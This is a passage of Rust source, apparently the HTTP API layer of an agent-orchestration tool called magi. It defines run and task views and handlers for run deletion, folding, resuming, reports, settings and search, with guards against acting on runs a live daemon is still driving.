2584/// the instruction as markdown, and the raw `instruction` field this struct
2585/// still carries (unchanged) is what a client wanting the exact bytes reads
2586/// instead.
2587#[derive(Debug, Serialize)]
2588struct RunDetailView {
2589    #[serde(flatten)]
2590    state: RunState,
2591    instruction_md: Vec<md::Node>,
2592    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
2593    /// mirror the records they come from, index for index; the raw strings
2594    /// stay in `state` and decide whether a block is shown at all.
2595    #[serde(flatten)]
2596    prose_md: RunProseMd,
2597    /// Whether a process is actually still driving this run: `"live"`,
2598    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
2599    ///
2600    /// `state.active` (flattened in above) is only ever cleared by the
2601    /// process that populated it; a killed one leaves its last wave's
2602    /// entries behind. Carrying this alongside is what lets the phone rail
2603    /// tell "this seat is still answering" from "this seat was still
2604    /// answering when whatever was driving this run died" without a second
2605    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2606    /// proof of either. A string rather than a bool on purpose: a daemon
2607    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
2608    /// and neither proven is `"unknown"` — folding that third case into
2609    /// either end of a bool is exactly the wrong call for a phone screen an
2610    /// operator uses to decide whether to wait or to act.
2611    live: crate::run::Liveness,
2612    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
2613    /// alongside the flattened `state` rather than inside it, since
2614    /// `RunState` has no business knowing which of its own methods a caller
2615    /// wants serialized.
2616    unmerged_by_design: bool,
2617    /// Same field and meaning as [`RunSummary::done`]: whether the status is
2618    /// terminal. The client's `landView` keys on it, and the flattened state
2619    /// has no such field, so without it a finished run's stale `open` PR
2620    /// would be painted as live on the detail page.
2621    done: bool,
2622    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
2623    /// route fills it from [`Queue::superseded`], the detail route from
2624    /// [`Queue::superseded_by`], and both read the same underlying task
2625    /// order. Without this the detail page could only ever show a red
2626    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
2627    /// with nothing anywhere saying so — an operator opening it had no way
2628    /// to tell "this is done elsewhere" from "this still needs a retry".
2629    superseded_by: Option<String>,
2630    /// The task's current attempt, when this run is an older one — resolved
2631    /// from [`Queue::latest_attempt`] and this run's own state, not left for
2632    /// the client to derive.
2633    ///
2634    /// Three things a client cannot safely do on its own drove this onto the
2635    /// server: it has to name the chain's *current head*, not just the next
2636    /// attempt (`superseded_by` above), because an intermediate retry in a
2637    /// longer chain can itself still be unresolved; it has to resolve to a
2638    /// real id rather than a short id a client would have to guess a full id
2639    /// from, which is ambiguous the moment two runs share a suffix; and it
2640    /// has to read that head's own status directly, because whether a run
2641    /// list a client happens to have cached even contains that attempt
2642    /// depends on a page limit this route knows nothing about.
2643    latest_attempt: Option<LatestAttempt>,
2644    /// The queue task this run belongs to, so the detail page can link back
2645    /// to the task's own page. `None` for a run nobody queued (`magi run`).
2646    task: Option<TaskRef>,
2647    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
2648    /// run recorded before origins existed. `origin` itself (flattened in
2649    /// with `state`) is `null` in that case.
2650    origin_label: String,
2651}
2652
2653/// A task named from a run's detail page.
2654#[derive(Debug, Serialize)]
2655struct TaskRef {
2656    id: String,
2657    short: String,
2658    title: String,
2659    /// [`Source::label`], e.g. `chat@a1b2`.
2660    source_label: String,
2661    /// Where the task came from, when that place has a page; see [`source_link`].
2662    source_link: Option<SourceLink>,
2663    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
2664    status: &'static str,
2665    attempts: usize,
2666    max_attempts: usize,
2667    /// This run is the last entry of the task's run list.
2668    is_latest: bool,
2669    /// The task's newest run, when it is not this one.
2670    latest: Option<RunBrief>,
2671    /// The run that finished a `done` task (merged, or already in the base).
2672    finished_by: Option<RunBrief>,
2673    /// The task is `done` but no run on record finished it: closed by hand.
2674    closed_by_hand: bool,
2675}
2676
2677/// The page that filed a task, as the UI links to it.
2678#[derive(Debug, PartialEq, Eq, Serialize)]
2679struct SourceLink {
2680    /// `chat` (a conversation) or `run` (a run's node).
2681    kind: &'static str,
2682    /// The full id, never the short one in the label.
2683    id: String,
2684    /// The hash route that opens it.
2685    href: String,
2686}
2687
2688/// Percent-encode everything outside the URL-unreserved set.
2689fn encode_segment(raw: &str) -> String {
2690    let mut out = String::with_capacity(raw.len());
2691    for b in raw.bytes() {
2692        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2693            out.push(b as char);
2694        } else {
2695            out.push_str(&format!("%{b:02X}"));
2696        }
2697    }
2698    out
2699}
2700
2701/// The one place that decides where a task's source links to. A chat
2702/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
2703/// a person or an imported issue has no page, so no link.
2704fn source_link(source: &Source) -> Option<SourceLink> {
2705    let Source::Agent { run, node } = source else {
2706        return None;
2707    };
2708    let (kind, route) = if node == crate::queue::CHAT_NODE {
2709        ("chat", "chat")
2710    } else {
2711        ("run", "runs")
2712    };
2713    Some(SourceLink {
2714        kind,
2715        id: run.clone(),
2716        href: format!("#/{route}/{}", encode_segment(run)),
2717    })
2718}
2719
2720/// Another run of the same task, as named from a run's detail page.
2721#[derive(Debug, Serialize)]
2722struct RunBrief {
2723    id: String,
2724    short: String,
2725    /// `None` when the run's record cannot be read.
2726    status: Option<&'static str>,
2727    /// The task-page wording for how that pass ended.
2728    outcome: String,
2729}
2730
2731/// The task's overall outcome as seen from `this_run`'s page, classified with
2732/// the same exits the task page's flowchart uses.
2733fn task_outcome(
2734    task: &Task,
2735    this_run: &str,
2736    max_attempts: usize,
2737    read: impl Fn(&str) -> Option<RunState>,
2738) -> TaskRef {
2739    let history = task_history(task, read);
2740    let brief = |h: &TaskRunView| RunBrief {
2741        id: h.id.clone(),
2742        short: h.short.clone(),
2743        status: h.status,
2744        outcome: h.exit.edge_label(h.status),
2745    };
2746    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2747    let latest = if is_latest {
2748        None
2749    } else {
2750        history.last().map(brief)
2751    };
2752    let done = task.status == TaskStatus::Done;
2753    let finished_by = done
2754        .then(|| {
2755            history
2756                .iter()
2757                .rev()
2758                .find(|h| {
2759                    matches!(
2760                        h.exit,
2761                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2762                    )
2763                })
2764                .map(brief)
2765        })
2766        .flatten();
2767    TaskRef {
2768        short: task.short().to_owned(),
2769        title: task.title.clone(),
2770        id: task.id.clone(),
2771        source_label: task.source.label(),
2772        source_link: source_link(&task.source),
2773        status: task.status.as_str(),
2774        attempts: task.attempts,
2775        max_attempts,
2776        is_latest,
2777        latest,
2778        closed_by_hand: done && finished_by.is_none(),
2779        finished_by,
2780    }
2781}
2782
2783/// The task's current attempt, as seen from an older one's detail page.
2784#[derive(Debug, Serialize)]
2785struct LatestAttempt {
2786    id: String,
2787    short: String,
2788    /// Whether this attempt itself settled with a result nobody needs to
2789    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
2790    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
2791    /// unconfirmed claim that no change was needed, which is exactly why it
2792    /// settles the task through `Held` rather than `Done` and still waits on
2793    /// a human to check the evidence; showing an older run as "finished
2794    /// elsewhere" on the strength of an unverified claim would bury the
2795    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
2796    /// in-flight status are excluded because they are exactly the
2797    /// unresolved states this field exists to tell apart from a real finish.
2798    resolved: bool,
2799    /// The attempt's own recorded status, so the page can say where it
2800    /// stands while it is not resolved yet.
2801    status: RunStatus,
2802    /// Whether that status is terminal (nothing is still running it).
2803    done: bool,
2804}
2805
2806/// Markdown for the free-text prose of a run, parallel to `RunState`.
2807#[derive(Debug, Default, Serialize)]
2808struct RunProseMd {
2809    /// `None` when the run has no design deliberation.
2810    advice_md: Option<AdviceMd>,
2811    /// One entry per candidate: the summary.
2812    candidate_summaries_md: Vec<Vec<md::Node>>,
2813    /// One entry per review round, in `reviews` order.
2814    reviews_md: Vec<RoundMd>,
2815}
2816
2817#[derive(Debug, Default, Serialize)]
2818struct AdviceMd {
2819    synthesis: Vec<md::Node>,
2820    /// One per record; empty for a seat with no proposal.
2821    approaches: Vec<Vec<md::Node>>,
2822}
2823
2824#[derive(Debug, Default, Serialize)]
2825struct RoundMd {
2826    /// One per reviewer record.
2827    reviewers: Vec<ReviewerMd>,
2828    /// One per `reconsideration` entry: the reason.
2829    reconsideration: Vec<Vec<md::Node>>,
2830    fix: Option<FixMd>,
2831}
2832
2833#[derive(Debug, Default, Serialize)]
2834struct ReviewerMd {
2835    summary: Vec<md::Node>,
2836    /// One per finding, in recorded order (not the display order).
2837    findings: Vec<Vec<md::Node>>,
2838}
2839
2840#[derive(Debug, Default, Serialize)]
2841struct FixMd {
2842    notes: Vec<md::Node>,
2843    /// One per rejection: the argument.
2844    rejected: Vec<Vec<md::Node>>,
2845}
2846
2847/// Parse a run's agent-written prose; a pure function of the state.
2848fn run_prose_md(state: &RunState) -> RunProseMd {
2849    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
2850    RunProseMd {
2851        advice_md: state.advice.as_ref().map(|a| AdviceMd {
2852            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
2853            approaches: a
2854                .records
2855                .iter()
2856                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
2857                .collect(),
2858        }),
2859        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
2860        reviews_md: state
2861            .reviews
2862            .iter()
2863            .map(|round| RoundMd {
2864                reviewers: round
2865                    .reviews
2866                    .iter()
2867                    .map(|rec| ReviewerMd {
2868                        summary: nodes(&rec.summary),
2869                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
2870                    })
2871                    .collect(),
2872                reconsideration: round
2873                    .reconsideration
2874                    .iter()
2875                    .map(|rv| nodes(&rv.reason))
2876                    .collect(),
2877                fix: round.fix.as_ref().map(|fix| FixMd {
2878                    notes: nodes(&fix.notes),
2879                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
2880                }),
2881            })
2882            .collect(),
2883    }
2884}
2885
2886impl RunDetailView {
2887    fn of(
2888        state: RunState,
2889        live: crate::run::Liveness,
2890        superseded_by: Option<String>,
2891        latest_attempt: Option<LatestAttempt>,
2892        task: Option<TaskRef>,
2893    ) -> Self {
2894        Self {
2895            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2896            prose_md: run_prose_md(&state),
2897            origin_label: crate::run::origin_label(state.origin.as_ref()),
2898            live,
2899            unmerged_by_design: state.unmerged_by_design(),
2900            done: state.status.done(),
2901            superseded_by,
2902            latest_attempt,
2903            task,
2904            state,
2905        }
2906    }
2907}
2908
2909async fn run_detail(
2910    State(ui): State<Arc<Ui>>,
2911    Path(id): Path<String>,
2912) -> ApiResult<Json<RunDetailView>> {
2913    blocking(move || {
2914        let id = resolve_run(&ui.runs, &id)?;
2915        let state = read_run(&ui.runs, &id)?;
2916        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2917        let live = state.liveness(daemon_claims);
2918        let superseded_by = ui
2919            .queue
2920            .superseded_by(&id)
2921            .as_deref()
2922            .map(crate::run::short_of)
2923            .map(str::to_owned);
2924        // Best-effort: an unreadable head (mid-write, or deleted) just means
2925        // this run's own status stands on its own, same as no later attempt
2926        // existing at all.
2927        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2928            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2929                short: head.short().to_owned(),
2930                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2931                status: head.status,
2932                done: head.status.done(),
2933                id: head.id,
2934            })
2935        });
2936        let max_attempts = daemon::Opts::default().max_attempts;
2937        let task = ui
2938            .queue
2939            .list()
2940            .into_iter()
2941            .find(|t| t.runs.contains(&id))
2942            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
2943        Ok(Json(RunDetailView::of(
2944            state,
2945            live,
2946            superseded_by,
2947            latest_attempt,
2948            task,
2949        )))
2950    })
2951    .await
2952}
2953
2954/// `DELETE /api/runs/{id}`.
2955///
2956/// Remove a finished, folded run directory along with its artifacts.
2957/// Running runs and runs with unfolded candidate worktrees/branches cannot be
2958/// deleted. This never touches git worktrees or branches - except for a run
2959/// whose state this build cannot read at all, where there is no candidate
2960/// list to check and the wholesale removal `magi fold` already uses for that
2961/// case is the only meaningful "delete".
2962async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2963    let (id, unreadable) = {
2964        let ui = Arc::clone(&ui);
2965        blocking(move || {
2966            let id = resolve_run(&ui.runs, &id)?;
2967            match read_run(&ui.runs, &id) {
2968                Ok(state) => {
2969                    let in_flight =
2970                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2971                    state
2972                        .ensure_can_delete(in_flight)
2973                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2974                    let dir = ui.runs.join(&id);
2975                    std::fs::remove_dir_all(&dir)
2976                        .with_context(|| format!("remove run directory {}", dir.display()))?;
2977                    Ok((id, false))
2978                }
2979                Err(_) => {
2980                    // Unreadable: there is no candidate list to guard on, so
2981                    // a live daemon's claim is the only thing left to check -
2982                    // the same rule `run_fold` applies for the same reason.
2983                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2984                        return Err(ApiError::conflict(format!(
2985                            "run {id} is being worked on by a live daemon right now"
2986                        )));
2987                    }
2988                    Ok((id, true))
2989                }
2990            }
2991        })
2992        .await?
2993    };
2994    if unreadable {
2995        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2996            .await
2997            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2998    }
2999    let ui = Arc::clone(&ui);
3000    let done = id.clone();
3001    blocking(move || {
3002        // The agent that asked died with the run, so an open question would
3003        // keep asking the operator for a decision nobody can deliver.
3004        ui.questions.abandon_for_run(
3005            &done,
3006            &format!("run {done} was deleted, so nothing is waiting for this answer"),
3007        )?;
3008        Ok(())
3009    })
3010    .await?;
3011    Ok(StatusCode::NO_CONTENT)
3012}
3013
3014/// `POST /api/runs/{id}/fold`.
3015///
3016/// Remove a run's candidate worktrees and branches, keeping its record.
3017///
3018/// This exists because the deck answered "delete this run" with *"Candidates
3019/// must be folded before deleting. Run `magi fold` first."* — a phone being
3020/// told to open a terminal, in the one product whose point is that it does
3021/// not need one. The runs an operator most wants gone are the stalled and
3022/// blocked ones, and those are exactly the runs still holding worktrees:
3023/// three of them here held 53 GB.
3024///
3025/// The winner's tree goes too. A fold is what someone asks for when they are
3026/// finished with a run, and leaving one tree behind would leave the delete
3027/// button disabled for the same reason as before.
3028///
3029/// Refused while a live daemon is working on the run, on the rule that guards
3030/// deletion: folding underneath a running agent would pull the tree it is
3031/// editing out from under it.
3032///
3033/// A run whose state this build cannot read at all falls back to
3034/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
3035/// selectively, so the whole record's worktree goes wholesale, exactly what
3036/// `magi fold` does on the command line for the same run.
3037async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3038    let (id, state) = {
3039        let ui = Arc::clone(&ui);
3040        blocking(move || {
3041            let id = resolve_run(&ui.runs, &id)?;
3042            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3043                return Err(ApiError::conflict(format!(
3044                    "run {id} is being worked on by a live daemon right now"
3045                )));
3046            }
3047            let state = read_run(&ui.runs, &id).ok();
3048            Ok((id, state))
3049        })
3050        .await?
3051    };
3052    let removed = match state {
3053        Some(mut state) => {
3054            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3055                .await
3056                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3057            // Nothing left to remove is not the same thing as nothing left to
3058            // do — see `clean::clear_abandoned_active`'s own doc for the run
3059            // this exists for: worktrees already gone, but a killed process
3060            // left active seats nobody will ever answer for.
3061            if removed.is_empty() {
3062                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3063                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3064            }
3065            removed
3066        }
3067        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3068            .await
3069            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3070    };
3071    Ok(Json(FoldView {
3072        run: id,
3073        removed_count: removed.len(),
3074        removed,
3075    }))
3076}
3077
3078/// What a fold took away, so the deck can say so rather than only re-render.
3079#[derive(Debug, Serialize)]
3080struct FoldView {
3081    run: String,
3082    /// Worktree paths and branch names removed, in the order they went.
3083    removed: Vec<String>,
3084    removed_count: usize,
3085}
3086
3087/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
3088/// merged outside of `land::land`'s own loop.
3089#[derive(Debug, Deserialize)]
3090struct FoldMergedBody {
3091    #[serde(default)]
3092    pr_url: String,
3093}
3094
3095/// `POST /api/runs/{id}/fold-merged`.
3096///
3097/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
3098/// `Blocked` with `merge: null` because magi never got as far as opening a
3099/// pull request of its own (a title over GitHub's length limit, `gh pr
3100/// create` unreachable, a stale token), which the operator then finished by
3101/// hand on a pull request magi never recorded. The "Run actions" sheet used
3102/// to have no way to tell it about that pull request short of a terminal and
3103/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
3104/// this exists and what it deliberately does not do (`bump::after_merge`).
3105///
3106/// Refused, like [`run_fold`], while a live daemon is working on the run: the
3107/// correction rewrites the same `status`/`merge` fields a running graph would
3108/// be writing to on its own.
3109///
3110/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
3111/// calls plus a fold, seconds of work, and the phone should get its answer
3112/// (which pull request it recorded, and what changed) in the same round
3113/// trip rather than learning it from the change stream.
3114async fn run_fold_merged(
3115    State(ui): State<Arc<Ui>>,
3116    Path(id): Path<String>,
3117    Json(body): Json<FoldMergedBody>,
3118) -> ApiResult<Json<FoldMergedView>> {
3119    let pr_url = body.pr_url.trim().to_owned();
3120    if pr_url.is_empty() {
3121        return Err(ApiError::bad_request("pr_url is required"));
3122    }
3123    let (id, mut state) = {
3124        let ui = Arc::clone(&ui);
3125        blocking(move || {
3126            let id = resolve_run(&ui.runs, &id)?;
3127            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3128                return Err(ApiError::conflict(format!(
3129                    "run {id} is being worked on by a live daemon right now"
3130                )));
3131            }
3132            let state = read_run(&ui.runs, &id)?;
3133            Ok((id, state))
3134        })
3135        .await?
3136    };
3137    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3138        .await
3139        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3140    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3141        .await
3142        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3143    Ok(Json(FoldMergedView {
3144        run: id,
3145        before: before.as_str().to_owned(),
3146        after: after.as_str().to_owned(),
3147        removed,
3148    }))
3149}
3150
3151/// What [`run_fold_merged`] did, so the deck can say so.
3152#[derive(Debug, Serialize)]
3153struct FoldMergedView {
3154    run: String,
3155    /// `status` before the correction — normally `"blocked"`.
3156    before: String,
3157    /// `status` after — normally `"merged"`.
3158    after: String,
3159    /// Worktree paths and branch names the trailing fold removed.
3160    removed: Vec<String>,
3161}
3162
3163/// `POST /api/runs/{id}/resume`.
3164///
3165/// Carry a stalled run on from where it stopped, in the background.
3166///
3167/// A stalled card says "the work is kept" and used to offer no way to act on
3168/// that: the candidates are built and paid for, and continuing means re-asking
3169/// only the seats whose absence collapsed the panel. The alternative an
3170/// operator actually had was releasing the task, which competes three fresh
3171/// implementations against work that already exists.
3172///
3173/// **202, not 200.** A resume runs agents for minutes; holding the connection
3174/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
3175/// phone learns the outcome from the change stream.
3176///
3177/// Refused when the loop is running at all, not merely when it is on this run.
3178/// The scarce resource is the agent CLIs' quota, and a tap that quietly
3179/// started a second graph on top of whatever the loop is already driving —
3180/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
3181/// allows — would spend that quota twice over for no extra throughput.
3182async fn run_resume(
3183    State(ui): State<Arc<Ui>>,
3184    Path(id): Path<String>,
3185) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3186    let (id, state) = {
3187        let ui = Arc::clone(&ui);
3188        blocking(move || {
3189            let id = resolve_run(&ui.runs, &id)?;
3190            let state = read_run(&ui.runs, &id)?;
3191            Ok((id, state))
3192        })
3193        .await?
3194    };
3195    if let Some(to) = &state.released_to {
3196        return Err(ApiError::conflict(format!(
3197            "run {} can no longer be resumed: its worktree was released to run {}, which \
3198             took the branch over.",
3199            state.short(),
3200            crate::run::short_of(to)
3201        )));
3202    }
3203    if !state.status.resumable() {
3204        return Err(ApiError::conflict(format!(
3205            "run {} is `{}`, and only a stalled or blocked run can be resumed",
3206            state.short(),
3207            status_word(state.status)
3208        )));
3209    }
3210    // Refused whenever the loop is running anything at all, not merely when
3211    // it is on this run: a manual resume racing a loop-driven run over the
3212    // same agent quota is the thing this guard exists to prevent, whether
3213    // the loop's own concurrency is one run or several.
3214    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3215        .into_iter()
3216        .next()
3217    {
3218        return Err(ApiError::conflict(format!(
3219            "the loop is running run {} right now; stop it first, or wait for \
3220             it to finish, before resuming a run by hand.",
3221            crate::run::short_of(&work.run)
3222        )));
3223    }
3224    let _resume = ui.begin_resume(&id)?;
3225
3226    // The same shape the list route returns, so the phone updates the card it
3227    // already has rather than learning a second schema for one button.
3228    let queued = RunSummary::of(
3229        &state,
3230        !ui.questions.open_for(&id).is_empty(),
3231        state.liveness(false),
3232    );
3233    let run = id.clone();
3234    tokio::spawn(async move {
3235        let _resume = _resume;
3236        match crate::graph::Runner::resume(&run) {
3237            Ok(mut runner) => {
3238                if let Err(e) = runner.execute().await {
3239                    tracing::warn!("resume of run {run} stopped: {e:#}");
3240                }
3241            }
3242            // The run's own record is what the phone reads; this line is for
3243            // the operator's terminal.
3244            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3245        }
3246    });
3247    Ok((StatusCode::ACCEPTED, Json(queued)))
3248}
3249
3250async fn run_report(
3251    State(ui): State<Arc<Ui>>,
3252    Path(id): Path<String>,
3253) -> ApiResult<impl IntoResponse> {
3254    let text = blocking(move || {
3255        let id = resolve_run(&ui.runs, &id)?;
3256        // Colour is off for the whole process, set once in `serve`. Rendering
3257        // is CPU work over the full state, which is the other reason this is
3258        // not on the executor.
3259        let state = read_run(&ui.runs, &id)?;
3260        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3261        let live = state.liveness(daemon_claims);
3262        Ok(format!(
3263            "{}{}",
3264            report::run(&state),
3265            report::active_seats(&state, live)
3266        ))
3267    })
3268    .await?;
3269    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3270}
3271
3272/// A task as the UI sees it.
3273///
3274/// The whole task, plus the two things the client would otherwise have to
3275/// reimplement: the human-readable source and the status string. Nothing is
3276/// removed - the phone shows `last_error` and the run history verbatim.
3277#[derive(Debug, Serialize)]
3278struct TaskView {
3279    #[serde(flatten)]
3280    task: Task,
3281    source_label: String,
3282    source_link: Option<SourceLink>,
3283    status_str: &'static str,
3284    /// The instruction, parsed as markdown, for the Queue card's "Full
3285    /// instruction" panel. `task.instruction` is unchanged and still carries
3286    /// the raw text.
3287    instruction_md: Vec<md::Node>,
3288    /// For a blocked task, what it waits on with each dependency's state, e.g.
3289    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
3290    /// recurses; empty for every other status.
3291    waits_on: Vec<String>,
3292    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
3293    /// behind - non-empty means nothing in the loop will ever run it.
3294    stuck_roots: Vec<String>,
3295}
3296
3297impl From<Task> for TaskView {
3298    fn from(task: Task) -> Self {
3299        Self {
3300            source_label: task.source.label(),
3301            source_link: source_link(&task.source),
3302            status_str: task.status.as_str(),
3303            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3304            waits_on: Vec::new(),
3305            stuck_roots: Vec::new(),
3306            task,
3307        }
3308    }
3309}
3310
3311impl TaskView {
3312    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3313        let waits_on = inv.waits_on(&task);
3314        let stuck_roots = inv
3315            .stuck_roots(&task)
3316            .iter()
3317            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3318            .collect();
3319        Self {
3320            waits_on,
3321            stuck_roots,
3322            ..Self::from(task)
3323        }
3324    }
3325}
3326
3327/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
3328/// its absence, leaves the cache to decide.
3329#[derive(Debug, Default, Deserialize)]
3330#[serde(default)]
3331struct ReposQuery {
3332    refresh: u8,
3333}
3334
3335/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
3336/// listing `magi repos` prints at a terminal.
3337///
3338/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
3339/// so an edit to `magi.toml` takes effect without a restart, the same
3340/// reasoning [`config_for`] documents for the talk routes.
3341async fn repos_list(
3342    State(ui): State<Arc<Ui>>,
3343    Query(q): Query<ReposQuery>,
3344) -> ApiResult<Json<Vec<repos::Repo>>> {
3345    let refresh = q.refresh != 0;
3346    blocking(move || {
3347        let (cfg, _) = Config::discover(&ui.repo, None)?;
3348        Ok(Json(ui.repos_cache.list(
3349            &cfg.repos.roots,
3350            Duration::from_secs(cfg.repos.scan_ttl),
3351            refresh,
3352        )))
3353    })
3354    .await
3355}
3356
3357/// `GET /api/settings` - the effective role assignments and roster, with the
3358/// layer each came from. A config that fails to load answers 200 with an
3359/// `error`, so the screen can say so instead of drawing empty lists.
3360async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3361    blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3362}
3363
3364/// The body of `PUT /api/settings/roles`.
3365#[derive(Debug, Deserialize)]
3366#[serde(deny_unknown_fields)]
3367struct RolesBody {
3368    /// The `revision` the client last read.
3369    revision: String,
3370    /// Role key to its new ids; an empty list resets the key to its default.
3371    roles: std::collections::BTreeMap<String, Vec<String>>,
3372}
3373
3374/// `PUT /api/settings/roles` - save role assignments to the machine config.
3375///
3376/// The write target is `ui.machine_config` and nothing in the body can change
3377/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
3378/// 422 with the reason in words.
3379async fn settings_put_roles(
3380    State(ui): State<Arc<Ui>>,
3381    body: std::result::Result<Json<RolesBody>, JsonRejection>,
3382) -> ApiResult<Json<settings::SettingsView>> {
3383    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3384    blocking(move || {
3385        settings::save(
3386            &ui.repo,
3387            ui.machine_config.as_deref(),
3388            &body.revision,
3389            &body.roles,
3390        )
3391        .map(Json)
3392        .map_err(|e| match e {
3393            settings::SaveError::Conflict(m) => ApiError::conflict(m),
3394            settings::SaveError::Refused(m) => ApiError {
3395                status: StatusCode::UNPROCESSABLE_ENTITY,
3396                message: m,
3397            },
3398            settings::SaveError::Internal(m) => ApiError::internal(m),
3399        })
3400    })
3401    .await
3402}
3403
3404async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
3405    blocking(move || {
3406        let tasks = ui.queue.list();
3407        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3408        Ok(Json(
3409            tasks
3410                .into_iter()
3411                .map(|t| TaskView::with_inventory(t, &inv))
3412                .collect(),
3413        ))
3414    })
3415    .await
3416}
3417
3418/// Most hits one search returns. The rest are counted in `total`.
3419const SEARCH_MAX_HITS: usize = 100;
3420/// Longest query, in characters, and most terms it is split into.
3421const SEARCH_MAX_QUERY: usize = 200;
3422const SEARCH_MAX_TERMS: usize = 8;
3423/// Characters of context kept before the first hit, and after it.
3424const SNIPPET_BEFORE: usize = 50;
3425const SNIPPET_AFTER: usize = 110;
3426
3427/// `?scope=runs|tasks&q=...`
3428#[derive(Debug, Deserialize)]
3429struct SearchQuery {
3430    #[serde(default)]
3431    scope: String,
3432    #[serde(default)]
3433    q: String,
3434}
3435
3436/// One piece of a snippet. `hit` pieces are what matched; the client renders
3437/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
3438#[derive(Debug, Serialize, PartialEq, Eq)]
3439struct SnippetPart {
3440    text: String,
3441    hit: bool,
3442}
3443
3444#[derive(Debug, Serialize)]
3445struct SearchHit {
3446    id: String,
3447    /// The name of the field the snippet was cut from.
3448    field: String,
3449    snippet: Vec<SnippetPart>,
3450    /// The run's list row, so the page can apply its state / section / repo
3451    /// filters to a hit outside the loaded window. Absent for tasks and for a
3452    /// run record the list view cannot read.
3453    #[serde(skip_serializing_if = "Option::is_none")]
3454    run: Option<RunSummary>,
3455}
3456
3457#[derive(Debug, Serialize)]
3458struct SearchView {
3459    scope: String,
3460    q: String,
3461    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
3462    hits: Vec<SearchHit>,
3463    /// Every match, hits beyond the cap included.
3464    total: usize,
3465    truncated: bool,
3466    /// Runs whose `run.json` could not be parsed at all. They were not
3467    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
3468    unreadable: usize,
3469}
3470
3471/// The text leaves of a JSON document, with the name of the field each sits
3472/// under. Keys and numbers are skipped: they are structure, not prose.
3473fn text_leaves<'a>(
3474    value: &'a serde_json::Value,
3475    field: &'a str,
3476    out: &mut Vec<(&'a str, &'a str)>,
